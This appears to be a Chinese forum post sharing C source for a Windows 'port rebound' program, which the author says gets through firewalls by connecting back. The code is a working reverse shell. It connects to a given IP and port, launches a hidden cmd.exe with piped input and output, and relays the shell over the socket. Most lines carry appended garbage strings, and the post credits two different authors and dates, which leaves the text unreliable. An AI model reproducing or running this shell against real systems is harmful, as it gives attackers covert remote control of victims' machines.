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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 FY]pv6@  
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/* ============================== fVe@YqNa  
Rebound port in Windows NT I%@e@Dm,h  
By wind,2006/7 nr OqH  
===============================*/ k(P3LJcYQ  
#include -bypuMQ-p  
#include *URdd,){i  
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#pragma comment(lib,"wsock32.lib") EeCFII  
v&fGCD\R  
void OutputShell(); pOm@b `S%  
SOCKET sClient; W h| L  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7*i }km  
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void main(int argc,char **argv) McjS)4j&.  
{ ,"Tjpdf  
WSADATA stWsaData; y%4 Gp  
int nRet; P5xI  
SOCKADDR_IN stSaiClient,stSaiServer; q IM  
v ~"Ef_`  
if(argc != 3) k6@b|  
{ J58#$NC `'  
printf("Useage:\n\rRebound DestIP DestPort\n"); 1otspOy  
return; =7 VCtd/  
} :NuR>~  
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WSAStartup(MAKEWORD(2,2),&stWsaData); -vV'Lw(  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BCx!0v?9  
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stSaiClient.sin_family = AF_INET; u_.HPA  
stSaiClient.sin_port = htons(0); ]:&n-&@L  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^'vIOq-1v  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >uTPjR[  
{ [Tb\woU  
printf("Bind Socket Failed!\n"); 3jF|Ic  
return; exQ#<x*  
} &]< 3 ~6n  
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stSaiServer.sin_family = AF_INET; EJLQ&oH[  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vU!8`x)  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :.$"kXm^  
?; [ T  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5`~mqqR5  
{ ?E<c[*F05  
printf("Connect Error!"); |3;(~a)%  
return; p<KIF>rf|  
} =_ y\Y@J  
OutputShell(); %cX"#+e  
} >,"sHm}l%  
,=|4:F9  
void OutputShell() ` W4dx&  
{ ne4c %?>t  
char szBuff[1024]; CWi8Fv  
SECURITY_ATTRIBUTES stSecurityAttributes; 0(gq; H5x'  
OSVERSIONINFO stOsversionInfo; QU/fT_ORw  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Uk,g> LG  
STARTUPINFO stStartupInfo; LkBZlh_  
char *szShell; #~k[6YR 0  
PROCESS_INFORMATION stProcessInformation; >)Gd:636+  
unsigned long lBytesRead; +`.,| |Mq  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \dcdw* v@  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7Fz xe$A  
stSecurityAttributes.lpSecurityDescriptor = 0; }>}1oUCi  
stSecurityAttributes.bInheritHandle = TRUE; CISO<z0  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); XP-C  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); q8xd*--#  
hj!+HHYSk  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b5pMq$UVL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~Ky4+\6o>  
stStartupInfo.wShowWindow = SW_HIDE; !][F  
stStartupInfo.hStdInput = hReadPipe; )(m0cP{7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5mgHlsDzu  
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GetVersionEx(&stOsversionInfo); *C6D3y  
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switch(stOsversionInfo.dwPlatformId) r_U>VT^E:  
{ uS<_4A;sD,  
case 1: pu4,0bw  
szShell = "command.com"; xWE8W m  
break; CzVmNy)kl  
default: KX3KM!*  
szShell = "cmd.exe"; `8:Kp  
break; s-rfS7;  
} =X1?_~}  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8W+5)m.tp  
2) ?q 58  
send(sClient,szMsg,77,0); t-7og;^8k  
while(1) j~`\XX{>  
{ {]kaJ{U>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); U)D[]BVg  
if(lBytesRead) -5b A $  
{ rmd;\)#*`  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); P)6 lu8zQ  
send(sClient,szBuff,lBytesRead,0); 0$HmY2 Men  
} .DguR2KT  
else Vz%OV}\  
{ \9:wfLF8!  
lBytesRead=recv(sClient,szBuff,1024,0); TDNf)Mm  
if(lBytesRead<=0) break; x/mp=  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L{8;Ud_2r  
} $_D6_|HK  
} 6f)2F< 7  
 HpW 42  
return; SVWIEH0?  
}
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